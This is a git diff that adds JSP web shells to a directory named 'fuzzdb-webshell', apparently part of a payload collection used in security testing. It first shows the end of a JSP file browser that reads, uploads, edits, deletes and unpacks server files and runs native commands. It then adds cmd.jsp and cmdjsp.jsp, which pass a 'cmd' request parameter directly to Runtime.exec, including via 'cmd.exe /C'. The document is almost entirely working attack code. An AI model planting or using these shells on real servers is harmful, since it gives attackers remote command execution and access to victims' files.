    +				}
    +				//The process is not allowed to run longer than given time.
    +				if (System.currentTimeMillis() - start > MAX_PROCESS_RUNNING_TIME) {
    +					ls_proc.destroy();
    +					end = true;
    +					ret.append("!!!! Process has timed out, destroyed !!!!!");
    +				}
    +				try {
    +					Thread.sleep(50);
    +				}
    +				catch (InterruptedException ie) {}
    +			}
    +		}
    +		catch (IOException e) {
    +			ret.append("Error: " + e);
    +		}
    +		return ret.toString();
    +	}
    +
    +	/**
    +	 * Converts a dir string to a linked dir string
    +	 * 	@param dir the directory string (e.g. /usr/local/httpd)
    +	 *	@param browserLink web-path to Browser.jsp
    +	 */
    +	static String dir2linkdir(String dir, String browserLink, int sortMode) {
    +		File f = new File(dir);
    +		StringBuffer buf = new StringBuffer();
    +		while (f.getParentFile() != null) {
    +			if (f.canRead()) {
    +				String encPath = URLEncoder.encode(f.getAbsolutePath());
    +				buf.insert(0, "" + conv2Html(f.getName()) + File.separator + "");
    +			}
    +			else buf.insert(0, conv2Html(f.getName()) + File.separator);
    +			f = f.getParentFile();
    +		}
    +		if (f.canRead()) {
    +			String encPath = URLEncoder.encode(f.getAbsolutePath());
    +			buf.insert(0, "" + conv2Html(f.getAbsolutePath()) + "");
    +		}
    +		else buf.insert(0, f.getAbsolutePath());
    +		return buf.toString();
    +	}
    +
    +	/**
    +	 *	Returns true if the given filename tends towards a packed file
    +	 */
    +	static boolean isPacked(String name, boolean gz) {
    +		return (name.toLowerCase().endsWith(".zip") || name.toLowerCase().endsWith(".jar")
    +				|| (gz && name.toLowerCase().endsWith(".gz")) || name.toLowerCase()
    +				.endsWith(".war"));
    +	}
    +
    +	/**
    +	 *	If RESTRICT_BROWSING = true this method checks, whether the path is allowed or not
    +	 */
    +	static boolean isAllowed(File path) throws IOException{
    +		if (RESTRICT_BROWSING) {
    +            StringTokenizer stk = new StringTokenizer(RESTRICT_PATH, ";");
    +            while (stk.hasMoreTokens()){
    +			    if (path!=null && path.getCanonicalPath().startsWith(stk.nextToken()))
    +                    return RESTRICT_WHITELIST;
    +            }
    +            return !RESTRICT_WHITELIST;
    +		}
    +		else return true;
    +	}
    +
    +	//---------------------------------------------------------------------------------------------------------------
    +
    +	%>
    +<%
    +		//Get the current browsing directory
    +		request.setAttribute("dir", request.getParameter("dir"));
    +		// The browser_name variable is used to keep track of the URI
    +		// of the jsp file itself.  It is used in all link-backs.
    +		final String browser_name = request.getRequestURI();
    +		final String FOL_IMG = "";
    +		boolean nohtml = false;
    +		boolean dir_view = true;
    +		// View file
    +		if (request.getParameter("file") != null) {
    +            File f = new File(request.getParameter("file"));
    +            if (!isAllowed(f)) {
    +                request.setAttribute("dir", f.getParent());
    +                request.setAttribute("error", "You are not allowed to access "+f.getAbsolutePath());
    +            }
    +            else if (f.exists() && f.canRead()) {
    +                if (isPacked(f.getName(), false)) {
    +                    //If zipFile, do nothing here
    +                }
    +                else{
    +                    String mimeType = getMimeType(f.getName());
    +                    response.setContentType(mimeType);
    +                    if (mimeType.equals("text/plain")) response.setHeader(
    +                            "Content-Disposition", "inline;filename=\"temp.txt\"");
    +                    else response.setHeader("Content-Disposition", "inline;filename=\""
    +                            + f.getName() + "\"");
    +                    BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
    +                    byte buffer[] = new byte[8 * 1024];
    +                    out.clearBuffer();
    +                    OutputStream out_s = new Writer2Stream(out);
    +                    copyStreamsWithoutClose(fileInput, out_s, buffer);
    +                    fileInput.close();
    +                    out_s.flush();
    +                    nohtml = true;
    +                    dir_view = false;
    +                }
    +            }
    +            else {
    +                request.setAttribute("dir", f.getParent());
    +                request.setAttribute("error", "File " + f.getAbsolutePath()
    +                        + " does not exist or is not readable on the server");
    +            }
    +		}
    +		// Download selected files as zip file
    +		else if ((request.getParameter("Submit") != null)
    +				&& (request.getParameter("Submit").equals(SAVE_AS_ZIP))) {
    +			Vector v = expandFileList(request.getParameterValues("selfile"), false);
    +			//Check if all files in vector are allowed
    +			String notAllowedFile = null;
    +			for (int i = 0;i < v.size(); i++){
    +				File f = (File) v.get(i);
    +				if (!isAllowed(f)){
    +					notAllowedFile = f.getAbsolutePath();
    +					break;
    +				}
    +			}
    +			if (notAllowedFile != null){
    +				request.setAttribute("error", "You are not allowed to access " + notAllowedFile);
    +			}
    +			else if (v.size() == 0) {
    +				request.setAttribute("error", "No files selected");
    +			}
    +			else {
    +				File dir_file = new File("" + request.getAttribute("dir"));
    +				int dir_l = dir_file.getAbsolutePath().length();
    +				response.setContentType("application/zip");
    +				response.setHeader("Content-Disposition", "attachment;filename=\"rename_me.zip\"");
    +				out.clearBuffer();
    +				ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));
    +				zipout.setComment("Created by jsp File Browser v. " + VERSION_NR);
    +				zipout.setLevel(COMPRESSION_LEVEL);
    +				for (int i = 0; i < v.size(); i++) {
    +					File f = (File) v.get(i);
    +					if (f.canRead()) {
    +						zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l + 1)));
    +						BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
    +						byte buffer[] = new byte[0xffff];
    +						copyStreamsWithoutClose(fr, zipout, buffer);
    +						/*					int b;
    +						 while ((b=fr.read())!=-1) zipout.write(b);*/
    +						fr.close();
    +						zipout.closeEntry();
    +					}
    +				}
    +				zipout.finish();
    +				out.flush();
    +				nohtml = true;
    +				dir_view = false;
    +			}
    +		}
    +		// Download file
    +		else if (request.getParameter("downfile") != null) {
    +			String filePath = request.getParameter("downfile");
    +			File f = new File(filePath);
    +			if (!isAllowed(f)){
    +				request.setAttribute("dir", f.getParent());
    +				request.setAttribute("error", "You are not allowed to access " + f.getAbsoluteFile());
    +			}
    +			else if (f.exists() && f.canRead()) {
    +				response.setContentType("application/octet-stream");
    +				response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName()
    +						+ "\"");
    +				response.setContentLength((int) f.length());
    +				BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
    +				byte buffer[] = new byte[8 * 1024];
    +				out.clearBuffer();
    +				OutputStream out_s = new Writer2Stream(out);
    +				copyStreamsWithoutClose(fileInput, out_s, buffer);
    +				fileInput.close();
    +				out_s.flush();
    +				nohtml = true;
    +				dir_view = false;
    +			}
    +			else {
    +				request.setAttribute("dir", f.getParent());
    +				request.setAttribute("error", "File " + f.getAbsolutePath()
    +						+ " does not exist or is not readable on the server");
    +			}
    +		}
    +		if (nohtml) return;
    +		//else
    +			// If no parameter is submitted, it will take the path from jsp file browser
    +			if (request.getAttribute("dir") == null) {
    +				String path = null;
    +				if (application.getRealPath(request.getRequestURI()) != null) path = new File(
    +						application.getRealPath(request.getRequestURI())).getParent();
    +
    +				if (path == null) { // handle the case where we are not in a directory (ex: war file)
    +					path = new File(".").getAbsolutePath();
    +				}
    +				//Check path
    +                if (!isAllowed(new File(path))){
    +                    if (RESTRICT_PATH.indexOf(";")<0) path = RESTRICT_PATH;
    +                    else path = RESTRICT_PATH.substring(0, RESTRICT_PATH.indexOf(";"));
    +                }
    +				request.setAttribute("dir", path);
    +			}%>
    +
    +
    +
    +
    +
    +
    +
    +<%
    +			//If a cssfile exists, it will take it
    +			String cssPath = null;
    +			if (application.getRealPath(request.getRequestURI()) != null) cssPath = new File(
    +					application.getRealPath(request.getRequestURI())).getParent()
    +					+ File.separator + CSS_NAME;
    +			if (cssPath == null) cssPath = application.getResource(CSS_NAME).toString();
    +			if (new File(cssPath).exists()) {
    +%>
    +
    +      <%}
    +			else if (request.getParameter("uplMonitor") == null) {%>
    +	
    +	<%}
    +		
    +        //Check path
    +        if (!isAllowed(new File((String)request.getAttribute("dir")))){
    +            request.setAttribute("error", "You are not allowed to access " + request.getAttribute("dir"));
    +        }
    +		//Upload monitor
    +		else if (request.getParameter("uplMonitor") != null) {%>
    +	<%
    +			String fname = request.getParameter("uplMonitor");
    +			//First opening
    +			boolean first = false;
    +			if (request.getParameter("first") != null) first = true;
    +			UplInfo info = new UplInfo();
    +			if (!first) {
    +				info = UploadMonitor.getInfo(fname);
    +				if (info == null) {
    +					//Windows
    +					int posi = fname.lastIndexOf("\\");
    +					if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));
    +				}
    +				if (info == null) {
    +					//Unix
    +					int posi = fname.lastIndexOf("/");
    +					if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));
    +				}
    +			}
    +			dir_view = false;
    +			request.setAttribute("dir", null);
    +			if (info.aborted) {
    +				UploadMonitor.remove(fname);
    +				%>
    +
    +
    +Upload of <%=fname%>

    +Upload aborted. +<% + } + else if (info.totalSize != info.currSize || info.currSize == 0) { + %> + + + +Upload of <%=fname%>

    +
    + + +
    +<%=convertFileSize(info.currSize)%> from <%=convertFileSize(info.totalSize)%> +(<%=info.getPercent()%> %) uploaded (Speed: <%=info.getUprate()%>).
    +Time: <%=info.getTimeElapsed()%> from <%=info.getTimeEstimated()%> + +<% + } + else { + UploadMonitor.remove(fname); + %> + + +Upload of <%=fname%>

    +Upload finished. + +<% + } + } + //Comandwindow + else if (request.getParameter("command") != null) { + if (!NATIVE_COMMANDS){ + request.setAttribute("error", "Execution of native commands is not allowed!"); + } + else if (!"Cancel".equalsIgnoreCase(request.getParameter("Submit"))) { +%> +Launch commands in <%=request.getAttribute("dir")%> + + +<% + out.println("
    \n" + + " + "> +
    + + + +
    + +
    + "> +
    +
    + + +<% + dir_view = false; + request.setAttribute("dir", null); + } + } + + //Click on a filename, special viewer (zip+jar file) + else if (request.getParameter("file") != null) { + File f = new File(request.getParameter("file")); + if (!isAllowed(f)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + else if (isPacked(f.getName(), false)) { + //ZipFile + try { + ZipFile zf = new ZipFile(f); + Enumeration entries = zf.entries(); +%> +<%= f.getAbsolutePath()%> + + +

    Content of <%=conv2Html(f.getName())%>


    + + +<% + long size = 0; + int fileCount = 0; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + if (!entry.isDirectory()) { + fileCount++; + size += entry.getSize(); + long ratio = 0; + if (entry.getSize() != 0) ratio = (entry.getCompressedSize() * 100) + / entry.getSize(); + out.println(""); + + } + } + zf.close(); + //No directory view + dir_view = false; + request.setAttribute("dir", null); +%> +
    NameUncompressed sizeCompressed sizeCompr. ratioDate
    " + conv2Html(entry.getName()) + + "" + convertFileSize(entry.getSize()) + "" + + convertFileSize(entry.getCompressedSize()) + "" + + ratio + "%" + "" + + dateFormat.format(new Date(entry.getTime())) + "
    +

    + <%=convertFileSize(size)%> in <%=fileCount%> files in <%=f.getName()%>. Compression ratio: <%=(f.length() * 100) / size%>% +

    + +<% + } + catch (ZipException ex) { + request.setAttribute("error", "Cannot read " + f.getName() + + ", no valid zip file"); + } + catch (IOException ex) { + request.setAttribute("error", "Reading of " + f.getName() + " aborted. Error: " + + ex); + } + } + } + // Upload + else if ((request.getContentType() != null) + && (request.getContentType().toLowerCase().startsWith("multipart"))) { + response.setContentType("text/html"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + boolean error = false; + try { + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser + .processData(request.getInputStream(), bound, tempdir, clength); + if (!isAllowed(new File((String)ht.get("dir")))){ + request.setAttribute("error", "You are not allowed to access " + ht.get("dir")); + error = true; + } + else if (ht.get("myFile") != null) { + FileInfo fi = (FileInfo) ht.get("myFile"); + File f = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) { + f.delete(); + request.setAttribute("error", "Upload aborted"); + } + else { + // Move file from temp to the right dir + String path = (String) ht.get("dir"); + if (!path.endsWith(File.separator)) path = path + File.separator; + if (!f.renameTo(new File(path + f.getName()))) { + request.setAttribute("error", "Cannot upload file."); + error = true; + f.delete(); + } + } + } + else { + request.setAttribute("error", "No file selected for upload"); + error = true; + } + request.setAttribute("dir", (String) ht.get("dir")); + } + catch (Exception e) { + request.setAttribute("error", "Error " + e + ". Upload aborted"); + error = true; + } + if (!error) request.setAttribute("message", "File upload correctly finished."); + } + // The form to edit a text file + else if (request.getParameter("editfile") != null) { + File ef = new File(request.getParameter("editfile")); + if (!isAllowed(ef)){ + request.setAttribute("error", "You are not allowed to access " + ef.getAbsolutePath()); + } + else{ +%> +Edit <%=conv2Html(request.getParameter("editfile"))%> + + +<% + BufferedReader reader = new BufferedReader(new FileReader(ef)); + String disable = ""; + if (!ef.canWrite()) disable = " readonly"; + out.println("
    \n" + + " + "> +
    + + + + + + + +
    >Ms-Dos/Windows>UnixWrite backup
    + "> +
    +
    + + +<% + } + } + // Save or cancel the edited file + else if (request.getParameter("nfile") != null) { + File f = new File(request.getParameter("nfile")); + File new_f = new File(getDir(f.getParent(), request.getParameter("new_name"))); + if (!isAllowed(new_f)){ + request.setAttribute("error", "You are not allowed to access " + new_f.getAbsolutePath()); + } + else if (request.getParameter("Submit").equals("Save")) { + if (new_f.exists() && new_f.canWrite() && request.getParameter("Backup") != null) { + File bak = new File(new_f.getAbsolutePath() + ".bak"); + bak.delete(); + new_f.renameTo(bak); + } + if (new_f.exists() && !new_f.canWrite()) request.setAttribute("error", + "Cannot write to " + new_f.getName() + ", file is write protected."); + else { + BufferedWriter outs = new BufferedWriter(new FileWriter(new_f)); + StringReader text = new StringReader(request.getParameter("text")); + int i; + boolean cr = false; + String lineend = "\n"; + if (request.getParameter("lineformat").equals("dos")) lineend = "\r\n"; + while ((i = text.read()) >= 0) { + if (i == '\r') cr = true; + else if (i == '\n') { + outs.write(lineend); + cr = false; + } + else if (cr) { + outs.write(lineend); + cr = false; + } + else { + outs.write(i); + cr = false; + } + } + outs.flush(); + outs.close(); + } + } + request.setAttribute("dir", f.getParent()); + } + //Unpack file to the current directory without overwriting + else if (request.getParameter("unpackfile") != null) { + File f = new File(request.getParameter("unpackfile")); + String root = f.getParent(); + request.setAttribute("dir", root); + if (!isAllowed(new File(root))){ + request.setAttribute("error", "You are not allowed to access " + root); + } + //Check if file exists + else if (!f.exists()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", file does not exist"); + } + //Check if directory is readonly + else if (!f.getParentFile().canWrite()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", directory is write protected."); + } + //GZip + else if (f.getName().toLowerCase().endsWith(".gz")) { + //New name is old Name without .gz + String newName = f.getAbsolutePath().substring(0, f.getAbsolutePath().length() - 3); + try { + byte buffer[] = new byte[0xffff]; + copyStreams(new GZIPInputStream(new FileInputStream(f)), new FileOutputStream( + newName), buffer); + } + catch (IOException ex) { + request.setAttribute("error", "Unpacking of " + f.getName() + + " aborted. Error: " + ex); + } + } + //Else try Zip + else { + try { + ZipFile zf = new ZipFile(f); + Enumeration entries = zf.entries(); + //First check whether a file already exist + boolean error = false; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + if (!entry.isDirectory() + && new File(root + File.separator + entry.getName()).exists()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", File " + entry.getName() + " already exists."); + error = true; + break; + } + } + if (!error) { + //Unpack File + entries = zf.entries(); + byte buffer[] = new byte[0xffff]; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + File n = new File(root + File.separator + entry.getName()); + if (entry.isDirectory()) n.mkdirs(); + else { + n.getParentFile().mkdirs(); + n.createNewFile(); + copyStreams(zf.getInputStream(entry), new FileOutputStream(n), + buffer); + } + } + zf.close(); + request.setAttribute("message", "Unpack of " + f.getName() + + " was successful."); + } + } + catch (ZipException ex) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", no valid zip file"); + } + catch (IOException ex) { + request.setAttribute("error", "Unpacking of " + f.getName() + + " aborted. Error: " + ex); + } + } + } + // Delete Files + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(DELETE_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + boolean error = false; + //delete backwards + for (int i = v.size() - 1; i >= 0; i--) { + File f = (File) v.get(i); + if (!isAllowed(f)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + error = true; + break; + } + if (!f.canWrite() || !f.delete()) { + request.setAttribute("error", "Cannot delete " + f.getAbsolutePath() + + ". Deletion aborted"); + error = true; + break; + } + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files deleted"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File deleted"); + else if (!error) request.setAttribute("error", "No files selected"); + } + // Create Directory + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(CREATE_DIR))) { + String dir = "" + request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir))){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else if (new File(new_dir).mkdirs()) { + request.setAttribute("message", "Directory created"); + } + else request.setAttribute("error", "Creation of directory " + new_dir + " failed"); + } + // Create a new empty file + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(CREATE_FILE))) { + String dir = "" + request.getAttribute("dir"); + String file_name = request.getParameter("cr_dir"); + String new_file = getDir(dir, file_name); + if (!isAllowed(new File(new_file))){ + request.setAttribute("error", "You are not allowed to access " + new_file); + } + // Test, if file_name is empty + else if (!"".equals(file_name.trim()) && !file_name.endsWith(File.separator)) { + if (new File(new_file).createNewFile()) request.setAttribute("message", + "File created"); + else request.setAttribute("error", "Creation of file " + new_file + " failed"); + } + else request.setAttribute("error", "Error: " + file_name + " is not a valid filename"); + } + // Rename a file + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(RENAME_FILE))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = "" + request.getAttribute("dir"); + String new_file_name = request.getParameter("cr_dir"); + String new_file = getDir(dir, new_file_name); + if (!isAllowed(new File(new_file))){ + request.setAttribute("error", "You are not allowed to access " + new_file); + } + // The error conditions: + // 1) Zero Files selected + else if (v.size() <= 0) request.setAttribute("error", + "Select exactly one file or folder. Rename failed"); + // 2a) Multiple files selected and the first isn't a dir + // Here we assume that expandFileList builds v from top-bottom, starting with the dirs + else if ((v.size() > 1) && !(((File) v.get(0)).isDirectory())) request.setAttribute( + "error", "Select exactly one file or folder. Rename failed"); + // 2b) If there are multiple files from the same directory, rename fails + else if ((v.size() > 1) && ((File) v.get(0)).isDirectory() + && !(((File) v.get(0)).getPath().equals(((File) v.get(1)).getParent()))) { + request.setAttribute("error", "Select exactly one file or folder. Rename failed"); + } + else { + File f = (File) v.get(0); + if (!isAllowed(f)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + // Test, if file_name is empty + else if ((new_file.trim() != "") && !new_file.endsWith(File.separator)) { + if (!f.canWrite() || !f.renameTo(new File(new_file.trim()))) { + request.setAttribute("error", "Creation of file " + new_file + " failed"); + } + else request.setAttribute("message", "Renamed file " + + ((File) v.get(0)).getName() + " to " + new_file); + } + else request.setAttribute("error", "Error: \"" + new_file_name + + "\" is not a valid filename"); + } + } + // Move selected file(s) + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(MOVE_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = "" + request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir))){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else{ + boolean error = false; + // This ensures that new_dir is a directory + if (!new_dir.endsWith(File.separator)) new_dir += File.separator; + for (int i = v.size() - 1; i >= 0; i--) { + File f = (File) v.get(i); + if (!isAllowed(f)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + error = true; + break; + } + else if (!f.canWrite() || !f.renameTo(new File(new_dir + + f.getAbsolutePath().substring(dir.length())))) { + request.setAttribute("error", "Cannot move " + f.getAbsolutePath() + + ". Move aborted"); + error = true; + break; + } + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files moved"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File moved"); + else if (!error) request.setAttribute("error", "No files selected"); + } + } + // Copy Files + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(COPY_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = (String) request.getAttribute("dir"); + if (!dir.endsWith(File.separator)) dir += File.separator; + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir))){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else{ + boolean error = false; + if (!new_dir.endsWith(File.separator)) new_dir += File.separator; + try { + byte buffer[] = new byte[0xffff]; + for (int i = 0; i < v.size(); i++) { + File f_old = (File) v.get(i); + File f_new = new File(new_dir + f_old.getAbsolutePath().substring(dir.length())); + if (!isAllowed(f_old)|| !isAllowed(f_new)){ + request.setAttribute("error", "You are not allowed to access " + f_new.getAbsolutePath()); + error = true; + } + else if (f_old.isDirectory()) f_new.mkdirs(); + // Overwriting is forbidden + else if (!f_new.exists()) { + copyStreams(new FileInputStream(f_old), new FileOutputStream(f_new), buffer); + } + else { + // File exists + request.setAttribute("error", "Cannot copy " + f_old.getAbsolutePath() + + ", file already exists. Copying aborted"); + error = true; + break; + } + } + } + catch (IOException e) { + request.setAttribute("error", "Error " + e + ". Copying aborted"); + error = true; + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files copied"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File copied"); + else if (!error) request.setAttribute("error", "No files selected"); + } + } + // Directory viewer + if (dir_view && request.getAttribute("dir") != null) { + File f = new File("" + request.getAttribute("dir")); + //Check, whether the dir exists + if (!f.exists() || !isAllowed(f)) { + if (!f.exists()){ + request.setAttribute("error", "Directory " + f.getAbsolutePath() + " does not exist."); + } + else{ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + //if attribute olddir exists, it will change to olddir + if (request.getAttribute("olddir") != null && isAllowed(new File((String) request.getAttribute("olddir")))) { + f = new File("" + request.getAttribute("olddir")); + } + //try to go to the parent dir + else { + if (f.getParent() != null && isAllowed(f)) f = new File(f.getParent()); + } + //If this dir also do also not exist, go back to browser.jsp root path + if (!f.exists()) { + String path = null; + if (application.getRealPath(request.getRequestURI()) != null) path = new File( + application.getRealPath(request.getRequestURI())).getParent(); + + if (path == null) // handle the case were we are not in a directory (ex: war file) + path = new File(".").getAbsolutePath(); + f = new File(path); + } + if (isAllowed(f)) request.setAttribute("dir", f.getAbsolutePath()); + else request.setAttribute("dir", null); + } +%> + +<%=request.getAttribute("dir")%> + + +<% + //Output message + if (request.getAttribute("message") != null) { + out.println("
    "); + out.println(request.getAttribute("message")); + out.println("
    "); + } + //Output error + if (request.getAttribute("error") != null) { + out.println("
    "); + out.println(request.getAttribute("error")); + out.println("
    "); + } + if (request.getAttribute("dir") != null){ +%> +
    + +<% + // Output the table, starting with the headers. + String dir = URLEncoder.encode("" + request.getAttribute("dir")); + String cmd = browser_name + "?dir=" + dir; + int sortMode = 1; + if (request.getParameter("sort") != null) sortMode = Integer.parseInt(request + .getParameter("sort")); + int[] sort = new int[] {1, 2, 3, 4}; + for (int i = 0; i < sort.length; i++) + if (sort[i] == sortMode) sort[i] = -sort[i]; + out.println("" + + "" + + "" + + "" + + ""); + char trenner = File.separatorChar; + // Output the Root-Dirs, without FORBIDDEN_DRIVES + File[] entry = File.listRoots(); + for (int i = 0; i < entry.length; i++) { + boolean forbidden = false; + for (int i2 = 0; i2 < FORBIDDEN_DRIVES.length; i2++) { + if (entry[i].getAbsolutePath().toLowerCase().equals(FORBIDDEN_DRIVES[i2])) forbidden = true; + } + if (!forbidden) { + out.println(""); + out.println(""); + } + } + // Output the parent directory link ".." + if (f.getParent() != null) { + out.println(""); + out.println(""); + } + // Output all files and dirs and calculate the number of files and total size + entry = f.listFiles(); + if (entry == null) entry = new File[] {}; + long totalSize = 0; // The total size of the files in the current directory + long fileCount = 0; // The count of files in the current working directory + if (entry != null && entry.length > 0) { + Arrays.sort(entry, new FileComp(sortMode)); + for (int i = 0; i < entry.length; i++) { + String name = URLEncoder.encode(entry[i].getAbsolutePath()); + String type = "File"; // This String will tell the extension of the file + if (entry[i].isDirectory()) type = "DIR"; // It's a DIR + else { + String tempName = entry[i].getName().replace(' ', '_'); + if (tempName.lastIndexOf('.') != -1) type = tempName.substring( + tempName.lastIndexOf('.')).toLowerCase(); + } + String ahref = ""; + String link = buf; // The standard view link, uses Mime-type + if (entry[i].isDirectory()) { + if (entry[i].canRead() && USE_DIR_PREVIEW) { + //Show the first DIR_PREVIEW_NUMBER directory entries in a tooltip + File[] fs = entry[i].listFiles(); + if (fs == null) fs = new File[] {}; + Arrays.sort(fs, new FileComp()); + StringBuffer filenames = new StringBuffer(); + for (int i2 = 0; (i2 < fs.length) && (i2 < 10); i2++) { + String fname = conv2Html(fs[i2].getName()); + if (fs[i2].isDirectory()) filenames.append("[" + fname + "];"); + else filenames.append(fname + ";"); + } + if (fs.length > DIR_PREVIEW_NUMBER) filenames.append("..."); + else if (filenames.length() > 0) filenames + .setLength(filenames.length() - 1); + link = ahref + "dir=" + name + "\" title=\"" + filenames + "\">" + + FOL_IMG + "[" + buf + "]"; + } + else if (entry[i].canRead()) { + link = ahref + "dir=" + name + "\">" + FOL_IMG + "[" + buf + "]"; + } + else link = FOL_IMG + "[" + buf + "]"; + } + else if (entry[i].isFile()) { //Entry is file + totalSize = totalSize + entry[i].length(); + fileCount = fileCount + 1; + if (entry[i].canRead()) { + dlink = ahref + "downfile=" + name + "\">Download"; + //If you click at the filename + if (USE_POPUP) link = ahref + "file=" + name + "\" target=\"_blank\">" + + buf + ""; + else link = ahref + "file=" + name + "\">" + buf + ""; + if (entry[i].canWrite()) { // The file can be edited + //If it is a zip or jar File you can unpack it + if (isPacked(name, true)) elink = ahref + "unpackfile=" + name + + "\">Unpack"; + else elink = ahref + "editfile=" + name + "\">Edit"; + } + else { // If the file cannot be edited + //If it is a zip or jar File you can unpack it + if (isPacked(name, true)) elink = ahref + "unpackfile=" + name + + "\">Unpack"; + else elink = ahref + "editfile=" + name + "\">View"; + } + } + else { + link = buf; + } + } + String date = dateFormat.format(new Date(entry[i].lastModified())); + out.println(""); + if (entry[i].canRead()) { + out + .println(""); + } + else { + out + .println(""); + } + out.print(""); + if (entry[i].isDirectory()) out.print(""); + else { + out.print(""); + } + out.println(""); // The edit link (or view, depending) + } + }%> +
     NameSizeTypeDate  
     "); + String name = URLEncoder.encode(entry[i].getAbsolutePath()); + String buf = entry[i].getAbsolutePath(); + out.println("  [" + buf + "]"); + out + .println("     
    "); + out.println("  " + FOL_IMG + "[..]"); + out + .println("     
     " + link + " " + + convertFileSize(entry[i].length()) + "" + type + "  " + // The file type (extension) + date + "" + // The date the file was created + dlink + "" + // The download link + elink + "
    + Select all +

    + + <%=convertFileSize(totalSize)%> in <%=fileCount%> files in <%= dir2linkdir((String) request.getAttribute("dir"), browser_name, sortMode)%> + +

    +

    + "> + + + +

    +

    + + + + + + +

    +
    +
    + "> + + + +
    + <% if (NATIVE_COMMANDS){%> +
    + "> + + + +
    <% + } + }%> +
    +
    + jsp File Browser version <%= VERSION_NR%> by www.vonloesch.de +
    + +<% + } +%> \ No newline at end of file diff --git a/fuzzdb-webshell/jsp/cmd.jsp b/fuzzdb-webshell/jsp/cmd.jsp new file mode 100644 index 0000000..6357276 --- /dev/null +++ b/fuzzdb-webshell/jsp/cmd.jsp @@ -0,0 +1,35 @@ +<%@ page import="java.util.*,java.io.*"%> +<% +// +// JSP_KIT +// +// cmd.jsp = Command Execution (unix) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
    + + +
    +
    +<%
    +if (request.getParameter("cmd") != null) {
    +        out.println("Command: " + request.getParameter("cmd") + "
    "); + Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); + disr = dis.readLine(); + } + } +%> +
    + + + diff --git a/fuzzdb-webshell/jsp/cmdjsp.jsp b/fuzzdb-webshell/jsp/cmdjsp.jsp new file mode 100644 index 0000000..63625af --- /dev/null +++ b/fuzzdb-webshell/jsp/cmdjsp.jsp @@ -0,0 +1,32 @@ +// note that linux = cmd and windows = "cmd.exe /c + cmd" + +
    + + +
    + +<%@ page import="java.io.*" %> +<% + String cmd = request.getParameter("cmd"); + String output = ""; + + if(cmd != null) { + String s = null; + try { + Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); + BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); + while((s = sI.readLine()) != null) { + output += s; + } + } + catch(IOException e) { + e.printStackTrace(); + } + } +%> + +
    +<%=output %>
    +
